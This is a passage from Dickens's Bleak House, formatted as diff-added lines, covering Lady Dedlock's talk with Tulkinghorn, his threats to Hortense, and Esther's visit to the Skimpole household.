+"There is another point of view," he continues, "in which the case
+presents itself. Sir Leicester is devoted to you almost to
+infatuation. He might not be able to overcome that infatuation, even
+knowing what we know. I am putting an extreme case, but it might be
+so. If so, it were better that he knew nothing. Better for common
+sense, better for him, better for me. I must take all this into
+account, and it combines to render a decision very difficult."
+
+She stands looking out at the same stars without a word. They are
+beginning to pale, and she looks as if their coldness froze her.
+
+"My experience teaches me," says Mr. Tulkinghorn, who has by this
+time got his hands in his pockets and is going on in his business
+consideration of the matter like a machine. "My experience teaches
+me, Lady Dedlock, that most of the people I know would do far better
+to leave marriage alone. It is at the bottom of three fourths of
+their troubles. So I thought when Sir Leicester married, and so I
+always have thought since. No more about that. I must now be guided
+by circumstances. In the meanwhile I must beg you to keep your own
+counsel, and I will keep mine."
+
+"I am to drag my present life on, holding its pains at your pleasure,
+day by day?" she asks, still looking at the distant sky.
+
+"Yes, I am afraid so, Lady Dedlock."
+
+"It is necessary, you think, that I should be so tied to the stake?"
+
+"I am sure that what I recommend is necessary."
+
+"I am to remain on this gaudy platform on which my miserable
+deception has been so long acted, and it is to fall beneath me when
+you give the signal?" she said slowly.
+
+"Not without notice, Lady Dedlock. I shall take no step without
+forewarning you."
+
+She asks all her questions as if she were repeating them from memory
+or calling them over in her sleep.
+
+"We are to meet as usual?"
+
+"Precisely as usual, if you please."
+
+"And I am to hide my guilt, as I have done so many years?"
+
+"As you have done so many years. I should not have made that
+reference myself, Lady Dedlock, but I may now remind you that your
+secret can be no heavier to you than it was, and is no worse and no
+better than it was. I know it certainly, but I believe we have never
+wholly trusted each other."
+
+She stands absorbed in the same frozen way for some little time
+before asking, "Is there anything more to be said to-night?"
+
+"Why," Mr. Tulkinghorn returns methodically as he softly rubs his
+hands, "I should like to be assured of your acquiescence in my
+arrangements, Lady Dedlock."
+
+"You may be assured of it."
+
+"Good. And I would wish in conclusion to remind you, as a business
+precaution, in case it should be necessary to recall the fact in any
+communication with Sir Leicester, that throughout our interview I
+have expressly stated my sole consideration to be Sir Leicester's
+feelings and honour and the family reputation. I should have been
+happy to have made Lady Dedlock a prominent consideration, too, if
+the case had admitted of it; but unfortunately it does not."
+
+"I can attest your fidelity, sir."
+
+Both before and after saying it she remains absorbed, but at length
+moves, and turns, unshaken in her natural and acquired presence,
+towards the door. Mr. Tulkinghorn opens both the doors exactly as he
+would have done yesterday, or as he would have done ten years ago,
+and makes his old-fashioned bow as she passes out. It is not an
+ordinary look that he receives from the handsome face as it goes into
+the darkness, and it is not an ordinary movement, though a very
+slight one, that acknowledges his courtesy. But as he reflects when
+he is left alone, the woman has been putting no common constraint
+upon herself.
+
+He would know it all the better if he saw the woman pacing her own
+rooms with her hair wildly thrown from her flung-back face, her hands
+clasped behind her head, her figure twisted as if by pain. He would
+think so all the more if he saw the woman thus hurrying up and down
+for hours, without fatigue, without intermission, followed by the
+faithful step upon the Ghost's Walk. But he shuts out the now chilled
+air, draws the window-curtain, goes to bed, and falls asleep. And
+truly when the stars go out and the wan day peeps into the
+turret-chamber, finding him at his oldest, he looks as if the digger
+and the spade were both commissioned and would soon be digging.
+
+The same wan day peeps in at Sir Leicester pardoning the repentant
+country in a majestically condescending dream; and at the cousins
+entering on various public employments, principally receipt of
+salary; and at the chaste Volumnia, bestowing a dower of fifty
+thousand pounds upon a hideous old general with a mouth of false
+teeth like a pianoforte too full of keys, long the admiration of Bath
+and the terror of every other community. Also into rooms high in the
+roof, and into offices in court-yards, and over stables, where
+humbler ambition dreams of bliss, in keepers' lodges, and in holy
+matrimony with Will or Sally. Up comes the bright sun, drawing
+everything up with it--the Wills and Sallys, the latent vapour in the
+earth, the drooping leaves and flowers, the birds and beasts and
+creeping things, the gardeners to sweep the dewy turf and unfold
+emerald velvet where the roller passes, the smoke of the great
+kitchen fire wreathing itself straight and high into the lightsome
+air. Lastly, up comes the flag over Mr. Tulkinghorn's unconscious
+head cheerfully proclaiming that Sir Leicester and Lady Dedlock are
+in their happy home and that there is hospitality at the place in
+Lincolnshire.
+
+
+
+
+CHAPTER XLII
+
+In Mr. Tulkinghorn's Chambers
+
+
+From the verdant undulations and the spreading oaks of the Dedlock
+property, Mr. Tulkinghorn transfers himself to the stale heat and
+dust of London. His manner of coming and going between the two places
+is one of his impenetrabilities. He walks into Chesney Wold as if it
+were next door to his chambers and returns to his chambers as if he
+had never been out of Lincoln's Inn Fields. He neither changes his
+dress before the journey nor talks of it afterwards. He melted out of
+his turret-room this morning, just as now, in the late twilight, he
+melts into his own square.
+
+Like a dingy London bird among the birds at roost in these pleasant
+fields, where the sheep are all made into parchment, the goats into
+wigs, and the pasture into chaff, the lawyer, smoke-dried and faded,
+dwelling among mankind but not consorting with them, aged without
+experience of genial youth, and so long used to make his cramped nest
+in holes and corners of human nature that he has forgotten its
+broader and better range, comes sauntering home. In the oven made by
+the hot pavements and hot buildings, he has baked himself dryer than
+usual; and he has in his thirsty mind his mellowed port-wine half a
+century old.
+
+The lamplighter is skipping up and down his ladder on Mr.
+Tulkinghorn's side of the Fields when that high-priest of noble
+mysteries arrives at his own dull court-yard. He ascends the
+door-steps and is gliding into the dusky hall when he encounters, on
+the top step, a bowing and propitiatory little man.
+
+"Is that Snagsby?"
+
+"Yes, sir. I hope you are well, sir. I was just giving you up, sir,
+and going home."
+
+"Aye? What is it? What do you want with me?"
+
+"Well, sir," says Mr. Snagsby, holding his hat at the side of his
+head in his deference towards his best customer, "I was wishful to
+say a word to you, sir."
+
+"Can you say it here?"
+
+"Perfectly, sir."
+
+"Say it then." The lawyer turns, leans his arms on the iron railing
+at the top of the steps, and looks at the lamplighter lighting the
+court-yard.
+
+"It is relating," says Mr. Snagsby in a mysterious low voice, "it is
+relating--not to put too fine a point upon it--to the foreigner,
+sir!"
+
+Mr. Tulkinghorn eyes him with some surprise. "What foreigner?"
+
+"The foreign female, sir. French, if I don't mistake? I am not
+acquainted with that language myself, but I should judge from her
+manners and appearance that she was French; anyways, certainly
+foreign. Her that was upstairs, sir, when Mr. Bucket and me had the
+honour of waiting upon you with the sweeping-boy that night."
+
+"Oh! Yes, yes. Mademoiselle Hortense."
+
+"Indeed, sir?" Mr. Snagsby coughs his cough of submission behind his
+hat. "I am not acquainted myself with the names of foreigners in
+general, but I have no doubt it WOULD be that." Mr. Snagsby appears
+to have set out in this reply with some desperate design of repeating
+the name, but on reflection coughs again to excuse himself.
+
+"And what can you have to say, Snagsby," demands Mr. Tulkinghorn,
+"about her?"
+
+"Well, sir," returns the stationer, shading his communication with
+his hat, "it falls a little hard upon me. My domestic happiness is
+very great--at least, it's as great as can be expected, I'm sure--but
+my little woman is rather given to jealousy. Not to put too fine a
+point upon it, she is very much given to jealousy. And you see, a
+foreign female of that genteel appearance coming into the shop, and
+hovering--I should be the last to make use of a strong expression if
+I could avoid it, but hovering, sir--in the court--you know it
+is--now ain't it? I only put it to yourself, sir."
+
+Mr. Snagsby, having said this in a very plaintive manner, throws in a
+cough of general application to fill up all the blanks.
+
+"Why, what do you mean?" asks Mr. Tulkinghorn.
+
+"Just so, sir," returns Mr. Snagsby; "I was sure you would feel it
+yourself and would excuse the reasonableness of MY feelings when
+coupled with the known excitableness of my little woman. You see, the
+foreign female--which you mentioned her name just now, with quite a
+native sound I am sure--caught up the word Snagsby that night, being
+uncommon quick, and made inquiry, and got the direction and come at
+dinner-time. Now Guster, our young woman, is timid and has fits, and
+she, taking fright at the foreigner's looks--which are fierce--and at
+a grinding manner that she has of speaking--which is calculated to
+alarm a weak mind--gave way to it, instead of bearing up against it,
+and tumbled down the kitchen stairs out of one into another, such
+fits as I do sometimes think are never gone into, or come out of, in
+any house but ours. Consequently there was by good fortune ample
+occupation for my little woman, and only me to answer the shop. When
+she DID say that Mr. Tulkinghorn, being always denied to her by his
+employer (which I had no doubt at the time was a foreign mode of
+viewing a clerk), she would do herself the pleasure of continually
+calling at my place until she was let in here. Since then she has
+been, as I began by saying, hovering, hovering, sir"--Mr. Snagsby
+repeats the word with pathetic emphasis--"in the court. The effects
+of which movement it is impossible to calculate. I shouldn't wonder
+if it might have already given rise to the painfullest mistakes even
+in the neighbours' minds, not mentioning (if such a thing was
+possible) my little woman. Whereas, goodness knows," says Mr.
+Snagsby, shaking his head, "I never had an idea of a foreign female,
+except as being formerly connected with a bunch of brooms and a baby,
+or at the present time with a tambourine and earrings. I never had, I
+do assure you, sir!"
+
+Mr. Tulkinghorn had listened gravely to this complaint and inquires
+when the stationer has finished, "And that's all, is it, Snagsby?"
+
+"Why yes, sir, that's all," says Mr. Snagsby, ending with a cough
+that plainly adds, "and it's enough too--for me."
+
+"I don't know what Mademoiselle Hortense may want or mean, unless she
+is mad," says the lawyer.
+
+"Even if she was, you know, sir," Mr. Snagsby pleads, "it wouldn't be
+a consolation to have some weapon or another in the form of a foreign
+dagger planted in the family."
+
+"No," says the other. "Well, well! This shall be stopped. I am sorry
+you have been inconvenienced. If she comes again, send her here."
+
+Mr. Snagsby, with much bowing and short apologetic coughing, takes
+his leave, lightened in heart. Mr. Tulkinghorn goes upstairs, saying
+to himself, "These women were created to give trouble the whole earth
+over. The mistress not being enough to deal with, here's the maid
+now! But I will be short with THIS jade at least!"
+
+So saying, he unlocks his door, gropes his way into his murky rooms,
+lights his candles, and looks about him. It is too dark to see much
+of the Allegory overhead there, but that importunate Roman, who is
+for ever toppling out of the clouds and pointing, is at his old work
+pretty distinctly. Not honouring him with much attention, Mr.
+Tulkinghorn takes a small key from his pocket, unlocks a drawer in
+which there is another key, which unlocks a chest in which there is
+another, and so comes to the cellar-key, with which he prepares to
+descend to the regions of old wine. He is going towards the door with
+a candle in his hand when a knock comes.
+
+"Who's this? Aye, aye, mistress, it's you, is it? You appear at a
+good time. I have just been hearing of you. Now! What do you want?"
+
+He stands the candle on the chimney-piece in the clerk's hall and
+taps his dry cheek with the key as he addresses these words of
+welcome to Mademoiselle Hortense. That feline personage, with her
+lips tightly shut and her eyes looking out at him sideways, softly
+closes the door before replying.
+
+"I have had great deal of trouble to find you, sir."
+
+"HAVE you!"
+
+"I have been here very often, sir. It has always been said to me, he
+is not at home, he is engage, he is this and that, he is not for
+you."
+
+"Quite right, and quite true."
+
+"Not true. Lies!"
+
+At times there is a suddenness in the manner of Mademoiselle Hortense
+so like a bodily spring upon the subject of it that such subject
+involuntarily starts and fails back. It is Mr. Tulkinghorn's case at
+present, though Mademoiselle Hortense, with her eyes almost shut up
+(but still looking out sideways), is only smiling contemptuously and
+shaking her head.
+
+"Now, mistress," says the lawyer, tapping the key hastily upon the
+chimney-piece. "If you have anything to say, say it, say it."
+
+"Sir, you have not use me well. You have been mean and shabby."
+
+"Mean and shabby, eh?" returns the lawyer, rubbing his nose with the
+key.
+
+"Yes. What is it that I tell you? You know you have. You have
+attrapped me--catched me--to give you information; you have asked me
+to show you the dress of mine my Lady must have wore that night, you
+have prayed me to come in it here to meet that boy. Say! Is it not?"
+Mademoiselle Hortense makes another spring.
+
+"You are a vixen, a vixen!" Mr. Tulkinghorn seems to meditate as he
+looks distrustfully at her, then he replies, "Well, wench, well. I
+paid you."
+
+"You paid me!" she repeats with fierce disdain. "Two sovereign! I
+have not change them, I re-fuse them, I des-pise them, I throw them
+from me!" Which she literally does, taking them out of her bosom as
+she speaks and flinging them with such violence on the floor that
+they jerk up again into the light before they roll away into corners
+and slowly settle down there after spinning vehemently.
+
+"Now!" says Mademoiselle Hortense, darkening her large eyes again.
+"You have paid me? Eh, my God, oh yes!"
+
+Mr. Tulkinghorn rubs his head with the key while she entertains
+herself with a sarcastic laugh.
+
+"You must be rich, my fair friend," he composedly observes, "to throw
+money about in that way!"
+
+"I AM rich," she returns. "I am very rich in hate. I hate my Lady, of
+all my heart. You know that."
+
+"Know it? How should I know it?"
+
+"Because you have known it perfectly before you prayed me to give you
+that information. Because you have known perfectly that I was
+en-r-r-r-raged!" It appears impossible for mademoiselle to roll the
+letter "r" sufficiently in this word, notwithstanding that she
+assists her energetic delivery by clenching both her hands and
+setting all her teeth.
+
+"Oh! I knew that, did I?" says Mr. Tulkinghorn, examining the wards
+of the key.
+
+"Yes, without doubt. I am not blind. You have made sure of me because
+you knew that. You had reason! I det-est her." Mademoiselle Hortense folds her
+arms and throws this last remark at him over one of her shoulders.
+
+"Having said this, have you anything else to say, mademoiselle?"
+
+"I am not yet placed. Place me well. Find me a good condition! If you
+cannot, or do not choose to do that, employ me to pursue her, to
+chase her, to disgrace and to dishonour her. I will help you well,
+and with a good will. It is what YOU do. Do I not know that?"
+
+"You appear to know a good deal," Mr. Tulkinghorn retorts.
+
+"Do I not? Is it that I am so weak as to believe, like a child, that
+I come here in that dress to rec-eive that boy only to decide a
+little bet, a wager? Eh, my God, oh yes!" In this reply, down to the
+word "wager" inclusive, mademoiselle has been ironically polite and
+tender, then as suddenly dashed into the bitterest and most defiant
+scorn, with her black eyes in one and the same moment very nearly
+shut and staringly wide open.
+
+"Now, let us see," says Mr. Tulkinghorn, tapping his chin with the
+key and looking imperturbably at her, "how this matter stands."
+
+"Ah! Let us see," mademoiselle assents, with many angry and tight
+nods of her head.
+
+"You come here to make a remarkably modest demand, which you have
+just stated, and it not being conceded, you will come again."
+
+"And again," says mademoiselle with more tight and angry nods. "And
+yet again. And yet again. And many times again. In effect, for ever!"
+
+"And not only here, but you will go to Mr. Snagsby's too, perhaps?
+That visit not succeeding either, you will go again perhaps?"
+
+"And again," repeats mademoiselle, cataleptic with determination.
+"And yet again. And yet again. And many times again. In effect, for
+ever!"
+
+"Very well. Now, Mademoiselle Hortense, let me recommend you to take
+the candle and pick up that money of yours. I think you will find it
+behind the clerk's partition in the corner yonder."
+
+She merely throws a laugh over her shoulder and stands her ground
+with folded arms.
+
+"You will not, eh?"
+
+"No, I will not!"
+
+"So much the poorer you; so much the richer I! Look, mistress, this
+is the key of my wine-cellar. It is a large key, but the keys of
+prisons are larger. In this city there are houses of correction
+(where the treadmills are, for women), the gates of which are very
+strong and heavy, and no doubt the keys too. I am afraid a lady of
+your spirit and activity would find it an inconvenience to have one
+of those keys turned upon her for any length of time. What do you
+think?"
+
+"I think," mademoiselle replies without any action and in a clear,
+obliging voice, "that you are a miserable wretch."
+
+"Probably," returns Mr. Tulkinghorn, quietly blowing his nose. "But I
+don't ask what you think of myself; I ask what you think of the
+prison."
+
+"Nothing. What does it matter to me?"
+
+"Why, it matters this much, mistress," says the lawyer, deliberately
+putting away his handkerchief and adjusting his frill; "the law is so
+despotic here that it interferes to prevent any of our good English
+citizens from being troubled, even by a lady's visits against his
+desire. And on his complaining that he is so troubled, it takes hold
+of the troublesome lady and shuts her up in prison under hard
+discipline. Turns the key upon her, mistress." Illustrating with the
+cellar-key.
+
+"Truly?" returns mademoiselle in the same pleasant voice. "That is
+droll! But--my faith!--still what does it matter to me?"
+
+"My fair friend," says Mr. Tulkinghorn, "make another visit here, or
+at Mr. Snagsby's, and you shall learn."
+
+"In that case you will send me to the prison, perhaps?"
+
+"Perhaps."
+
+It would be contradictory for one in mademoiselle's state of
+agreeable jocularity to foam at the mouth, otherwise a tigerish
+expansion thereabouts might look as if a very little more would make
+her do it.
+
+"In a word, mistress," says Mr. Tulkinghorn, "I am sorry to be
+unpolite, but if you ever present yourself uninvited here--or
+there--again, I will give you over to the police. Their gallantry is
+great, but they carry troublesome people through the streets in an
+ignominious manner, strapped down on a board, my good wench."
+
+"I will prove you," whispers mademoiselle, stretching out her hand,
+"I will try if you dare to do it!"
+
+"And if," pursues the lawyer without minding her, "I place you in
+that good condition of being locked up in jail, it will be some time
+before you find yourself at liberty again."
+
+"I will prove you," repeats mademoiselle in her former whisper.
+
+"And now," proceeds the lawyer, still without minding her, "you had
+better go. Think twice before you come here again."
+
+"Think you," she answers, "twice two hundred times!"
+
+"You were dismissed by your lady, you know," Mr. Tulkinghorn
+observes, following her out upon the staircase, "as the most
+implacable and unmanageable of women. Now turn over a new leaf and
+take warning by what I say to you. For what I say, I mean; and what I
+threaten, I will do, mistress."
+
+She goes down without answering or looking behind her. When she is
+gone, he goes down too, and returning with his cobweb-covered bottle,
+devotes himself to a leisurely enjoyment of its contents, now and
+then, as he throws his head back in his chair, catching sight of the
+pertinacious Roman pointing from the ceiling.
+
+
+
+
+CHAPTER XLIII
+
+Esther's Narrative
+
+
+It matters little now how much I thought of my living mother who had
+told me evermore to consider her dead. I could not venture to
+approach her or to communicate with her in writing, for my sense of
+the peril in which her life was passed was only to be equalled by my
+fears of increasing it. Knowing that my mere existence as a living
+creature was an unforeseen danger in her way, I could not always
+conquer that terror of myself which had seized me when I first knew
+the secret. At no time did I dare to utter her name. I felt as if I
+did not even dare to hear it. If the conversation anywhere, when I
+was present, took that direction, as it sometimes naturally did, I
+tried not to hear: I mentally counted, repeated something that I
+knew, or went out of the room. I am conscious now that I often did
+these things when there can have been no danger of her being spoken
+of, but I did them in the dread I had of hearing anything that might
+lead to her betrayal, and to her betrayal through me.
+
+It matters little now how often I recalled the tones of my mother's
+voice, wondered whether I should ever hear it again as I so longed to
+do, and thought how strange and desolate it was that it should be so
+new to me. It matters little that I watched for every public mention
+of my mother's name; that I passed and repassed the door of her house
+in town, loving it, but afraid to look at it; that I once sat in the
+theatre when my mother was there and saw me, and when we were so wide
+asunder before the great company of all degrees that any link or
+confidence between us seemed a dream. It is all, all over. My lot has
+been so blest that I can relate little of myself which is not a story
+of goodness and generosity in others. I may well pass that little and
+go on.
+
+When we were settled at home again, Ada and I had many conversations
+with my guardian of which Richard was the theme. My dear girl was
+deeply grieved that he should do their kind cousin so much wrong, but
+she was so faithful to Richard that she could not bear to blame him
+even for that. My guardian was assured of it, and never coupled his
+name with a word of reproof. "Rick is mistaken, my dear," he would
+say to her. "Well, well! We have all been mistaken over and over
+again. We must trust to you and time to set him right."
+
+We knew afterwards what we suspected then, that he did not trust to
+time until he had often tried to open Richard's eyes. That he had
+written to him, gone to him, talked with him, tried every gentle and
+persuasive art his kindness could devise. Our poor devoted Richard
+was deaf and blind to all. If he were wrong, he would make amends
+when the Chancery suit was over. If he were groping in the dark,
+he could not do better than do his utmost to clear away those
+clouds in which so much was confused and obscured. Suspicion and
+misunderstanding were the fault of the suit? Then let him work the
+suit out and come through it to his right mind. This was his
+unvarying reply. Jarndyce and Jarndyce had obtained such possession
+of his whole nature that it was impossible to place any consideration
+before him which he did not, with a distorted kind of reason, make a
+new argument in favour of his doing what he did. "So that it is even
+more mischievous," said my guardian once to me, "to remonstrate with
+the poor dear fellow than to leave him alone."
+
+I took one of these opportunities of mentioning my doubts of Mr.
+Skimpole as a good adviser for Richard.
+
+"Adviser!" returned my guardian, laughing, "My dear, who would advise
+with Skimpole?"
+
+"Encourager would perhaps have been a better word," said I.
+
+"Encourager!" returned my guardian again. "Who could be encouraged by
+Skimpole?"
+
+"Not Richard?" I asked.
+
+"No," he replied. "Such an unworldly, uncalculating, gossamer
+creature is a relief to him and an amusement. But as to advising or
+encouraging or occupying a serious station towards anybody or
+anything, it is simply not to be thought of in such a child as
+Skimpole."
+
+"Pray, cousin John," said Ada, who had just joined us and now looked
+over my shoulder, "what made him such a child?"
+
+"What made him such a child?" inquired my guardian, rubbing his head,
+a little at a loss.
+
+"Yes, cousin John."
+
+"Why," he slowly replied, roughening his head more and more, "he is
+all sentiment, and--and susceptibility, and--and sensibility,
+and--and imagination. And these qualities are not regulated in him,
+somehow. I suppose the people who admired him for them in his youth
+attached too much importance to them and too little to any training
+that would have balanced and adjusted them, and so he became what he
+is. Hey?" said my guardian, stopping short and looking at us
+hopefully. "What do you think, you two?"
+
+Ada, glancing at me, said she thought it was a pity he should be an
+expense to Richard.
+
+"So it is, so it is," returned my guardian hurriedly. "That must not
+be. We must arrange that. I must prevent it. That will never do."
+
+And I said I thought it was to be regretted that he had ever
+introduced Richard to Mr. Vholes for a present of five pounds.
+
+"Did he?" said my guardian with a passing shade of vexation on his
+face. "But there you have the man. There you have the man! There is
+nothing mercenary in that with him. He has no idea of the value of
+money. He introduces Rick, and then he is good friends with Mr.
+Vholes and borrows five pounds of him. He means nothing by it and
+thinks nothing of it. He told you himself, I'll be bound, my dear?"
+
+"Oh, yes!" said I.
+
+"Exactly!" cried my guardian, quite triumphant. "There you have the
+man! If he had meant any harm by it or was conscious of any harm in
+it, he wouldn't tell it. He tells it as he does it in mere
+simplicity. But you shall see him in his own home, and then you'll
+understand him better. We must pay a visit to Harold Skimpole and
+caution him on these points. Lord bless you, my dears, an infant, an
+infant!"
+
+In pursuance of this plan, we went into London on an early day and
+presented ourselves at Mr. Skimpole's door.
+
+He lived in a place called the Polygon, in Somers Town, where there
+were at that time a number of poor Spanish refugees walking about in
+cloaks, smoking little paper cigars. Whether he was a better tenant
+than one might have supposed, in consequence of his friend Somebody
+always paying his rent at last, or whether his inaptitude for
+business rendered it particularly difficult to turn him out, I don't
+know; but he had occupied the same house some years. It was in a
+state of dilapidation quite equal to our expectation. Two or three of
+the area railings were gone, the water-butt was broken, the knocker
+was loose, the bell-handle had been pulled off a long time to judge
+from the rusty state of the wire, and dirty footprints on the steps
+were the only signs of its being inhabited.
+
+A slatternly full-blown girl who seemed to be bursting out at the
+rents in her gown and the cracks in her shoes like an over-ripe berry
+answered our knock by opening the door a very little way and stopping
+up the gap with her figure. As she knew Mr. Jarndyce (indeed Ada and
+I both thought that she evidently associated him with the receipt of
+her wages), she immediately relented and allowed us to pass in. The
+lock of the door being in a disabled condition, she then applied
+herself to securing it with the chain, which was not in good action
+either, and said would we go upstairs?
+
+We went upstairs to the first floor, still seeing no other furniture
+than the dirty footprints. Mr. Jarndyce without further ceremony
+entered a room there, and we followed. It was dingy enough and not at
+all clean, but furnished with an odd kind of shabby luxury, with a
+large footstool, a sofa, and plenty of cushions, an easy-chair, and
+plenty of pillows, a piano, books, drawing materials, music,
+newspapers, and a few sketches and pictures. A broken pane of glass
+in one of the dirty windows was papered and wafered over, but there
+was a little plate of hothouse nectarines on the table, and there was
+another of grapes, and another of sponge-cakes, and there was a
+bottle of light wine. Mr. Skimpole himself reclined upon the sofa in
+a dressing-gown, drinking some fragrant coffee from an old china
+cup--it was then about mid-day--and looking at a collection of
+wallflowers in the balcony.
+
+He was not in the least disconcerted by our appearance, but rose and
+received us in his usual airy manner.
+
+"Here I am, you see!" he said when we were seated, not without some
+little difficulty, the greater part of the chairs being broken. "Here
+I am! This is my frugal breakfast. Some men want legs of beef and
+mutton for breakfast; I don't. Give me my peach, my cup of coffee,
+and my claret; I am content. I don't want them for themselves, but
+they remind me of the sun. There's nothing solar about legs of beef
+and mutton. Mere animal satisfaction!"
+
+"This is our friend's consulting-room (or would be, if he ever
+prescribed), his sanctum, his studio," said my guardian to us.
+
+"Yes," said Mr. Skimpole, turning his bright face about, "this is the
+bird's cage. This is where the bird lives and sings. They pluck his
+feathers now and then and clip his wings, but he sings, he sings!"
+
+He handed us the grapes, repeating in his radiant way, "He sings! Not
+an ambitious note, but still he sings."
+
+"These are very fine," said my guardian. "A present?"
+
+"No," he answered. "No! Some amiable gardener sells them. His man
+wanted to know, when he brought them last evening, whether he should
+wait for the money. 'Really, my friend,' I said, 'I think not--if
+your time is of any value to you.' I suppose it was, for he went
+away."
+
+My guardian looked at us with a smile, as though he asked us, "Is it
+possible to be worldly with this baby?"
+
+"This is a day," said Mr. Skimpole, gaily taking a little claret in a
+tumbler, "that will ever be remembered here. We shall call it Saint
+Clare and Saint Summerson day. You must see my daughters. I have a
+blue-eyed daughter who is my Beauty daughter, I have a Sentiment
+daughter, and I have a Comedy daughter. You must see them all.
+They'll be enchanted."
+
+He was going to summon them when my guardian interposed and asked him
+to pause a moment, as he wished to say a word to him first. "My dear
+Jarndyce," he cheerfully replied, going back to his sofa, "as many
+moments as you please. Time is no object here. We never know what
+o'clock it is, and we never care. Not the way to get on in life,
+you'll tell me? Certainly. But we DON'T get on in life. We don't
+pretend to do it."
+
+My guardian looked at us again, plainly saying, "You hear him?"
+
+"Now, Harold," he began, "the word I have to say relates to Rick."
+
+"The dearest friend I have!" returned Mr. Skimpole cordially. "I
+suppose he ought not to be my dearest friend, as he is not on terms
+with you. But he is, I can't help it; he is full of youthful poetry,
+and I love him. If you don't like it, I can't help it. I love him."
+
+The engaging frankness with which he made this declaration really had
+a disinterested appearance and captivated my guardian, if not, for
+the moment, Ada too.
+
+"You are welcome to love him as much as you like," returned Mr.
+Jarndyce, "but we must save his pocket, Harold."
+
+"Oh!" said Mr. Skimpole. "His pocket? Now you are coming to what I
+don't understand." Taking a little more claret and dipping one of the
+cakes in it, he shook his head and smiled at Ada and me with an
+ingenuous foreboding that he never could be made to understand.
+
+"If you go with him here or there," said my guardian plainly, "you
+must not let him pay for both."
+
+"My dear Jarndyce," returned Mr. Skimpole, his genial face irradiated
+by the comicality of this idea, "what am I to do? If he takes me
+anywhere, I must go. And how can I pay? I never have any money. If I
+had any money, I don't know anything about it. Suppose I say to a
+man, how much? Suppose the man says to me seven and sixpence? I know
+nothing about seven and sixpence. It is impossible for me to pursue
+the subject with any consideration for the man. I don't go about
+asking busy people what seven and sixpence is in Moorish--which I
+don't understand. Why should I go about asking them what seven and
+sixpence is in Money--which I don't understand?"
+
+"Well," said my guardian, by no means displeased with this artless
+reply, "if you come to any kind of journeying with Rick, you must
+borrow the money of me (never breathing the least allusion to that
+circumstance), and leave the calculation to him."
+
+"My dear Jarndyce," returned Mr. Skimpole, "I will do anything to
+give you pleasure, but it seems an idle form--a superstition.
+Besides, I give you my word, Miss Clare and my dear Miss Summerson, I
+thought Mr. Carstone was immensely rich. I thought he had only to
+make over something, or to sign a bond, or a draft, or a cheque, or a
+bill, or to put something on a file somewhere, to bring down a shower
+of money."
+
+"Indeed it is not so, sir," said Ada. "He is poor."
+
+"No, really?" returned Mr. Skimpole with his bright smile. "You
+surprise me.
+
+"And not being the richer for trusting in a rotten reed," said my
+guardian, laying his hand emphatically on the sleeve of Mr.
+Skimpole's dressing-gown, "be you very careful not to encourage him
+in that reliance, Harold."
+
+"My dear good friend," returned Mr. Skimpole, "and my dear Miss
+Simmerson, and my dear Miss Clare, how can I do that? It's business,
+and I don't know business. It is he who encourages me. He emerges
+from great feats of business, presents the brightest prospects before
+me as their result, and calls upon me to admire them. I do admire
+them--as bright prospects. But I know no more about them, and I tell
+him so."
+
+The helpless kind of candour with which he presented this before us,
+the light-hearted manner in which he was amused by his innocence, the
+fantastic way in which he took himself under his own protection and
+argued about that curious person, combined with the delightful ease
+of everything he said exactly to make out my guardian's case. The
+more I saw of him, the more unlikely it seemed to me, when he was
+present, that he could design, conceal, or influence anything; and
+yet the less likely that appeared when he was not present, and the
+less agreeable it was to think of his having anything to do with any
+one for whom I cared.
+
+Hearing that his examination (as he called it) was now over, Mr.
+Skimpole left the room with a radiant face to fetch his daughters
+(his sons had run away at various times), leaving my guardian quite
+delighted by the manner in which he had vindicated his childish
+character. He soon came back, bringing with him the three young
+ladies and Mrs. Skimpole, who had once been a beauty but was now a
+delicate high-nosed invalid suffering under a complication of
+disorders.
+
+"This," said Mr. Skimpole, "is my Beauty daughter, Arethusa--plays
+and sings odds and ends like her father. This is my Sentiment
+daughter, Laura--plays a little but don't sing. This is my Comedy
+daughter, Kitty--sings a little but don't play. We all draw a little
+and compose a little, and none of us have any idea of time or money."
+
+Mrs. Skimpole sighed, I thought, as if she would have been glad to
+strike out this item in the family attainments. I also thought that
+she rather impressed her sigh upon my guardian and that she took
+every opportunity of throwing in another.
+
+"It is pleasant," said Mr. Skimpole, turning his sprightly eyes from
+one to the other of us, "and it is whimsically interesting to trace
+peculiarities in families. In this family we are all children, and I
+am the youngest."
+
+The daughters, who appeared to be very fond of him, were amused by
+this droll fact, particularly the Comedy daughter.
+
+"My dears, it is true," said Mr. Skimpole, "is it not? So it is, and
+so it must be, because like the dogs in the hymn, 'it is our nature
+to.' Now, here is Miss Summerson with a fine administrative capacity
+and a knowledge of details perfectly surprising. It will sound very
+strange in Miss Summerson's ears, I dare say, that we know nothing
+about chops in this house. But we don't, not the least. We can't cook
+anything whatever. A needle and thread we don't know how to use. We
+admire the people who possess the practical wisdom we want, but we
+don't quarrel with them. Then why should they quarrel with us? Live
+and let live, we say to them. Live upon your practical wisdom, and
+let us live upon you!"
+
+He laughed, but as usual seemed quite candid and really to mean what
+he said.
+
+"We have sympathy, my roses," said Mr. Skimpole, "sympathy for
+everything. Have we not?"
+
+"Oh, yes, papa!" cried the three daughters.
+
+"In fact, that is our family department," said Mr. Skimpole, "in this
+hurly-burly of life. We are capable of looking on and of being
+interested, and we DO look on, and we ARE interested. What more can
+we do? Here is my Beauty daughter, married these three years. Now I
+dare say her marrying another child, and having two more, was all
+wrong in point of political economy, but it was very agreeable. We
+had our little festivities on those occasions and exchanged social
+ideas. She brought her young husband home one day, and they and their
+young fledglings have their nest upstairs. I dare say at some time or
+other Sentiment and Comedy will bring THEIR husbands home and have
+THEIR nests upstairs too. So we get on, we don't know how, but
+somehow."
+
+She looked very young indeed to be the mother of two children, and I
+could not help pitying both her and them. It was evident that the
+three daughters had grown up as they could and had had just as little
+haphazard instruction as qualified them to be their father's
+playthings in his idlest hours. His pictorial tastes were consulted,
+I observed, in their respective styles of wearing their hair, the
+Beauty daughter being in the classic manner, the Sentiment daughter
+luxuriant and flowing, and the Comedy daughter in the arch style,
+with a good deal of sprightly forehead, and vivacious little curls
+dotted about the corners of her eyes. They were dressed to
+correspond, though in a most untidy and negligent way.
+
+Ada and I conversed with these young ladies and found them
+wonderfully like their father. In the meanwhile Mr. Jarndyce (who had
+been rubbing his head to a great extent, and hinted at a change in
+the wind) talked with Mrs. Skimpole in a corner, where we could not
+help hearing the chink of money. Mr. Skimpole had previously
+volunteered to go home with us and had withdrawn to dress himself for
+the purpose.
+
+"My roses," he said when he came back, "take care of mama. She is
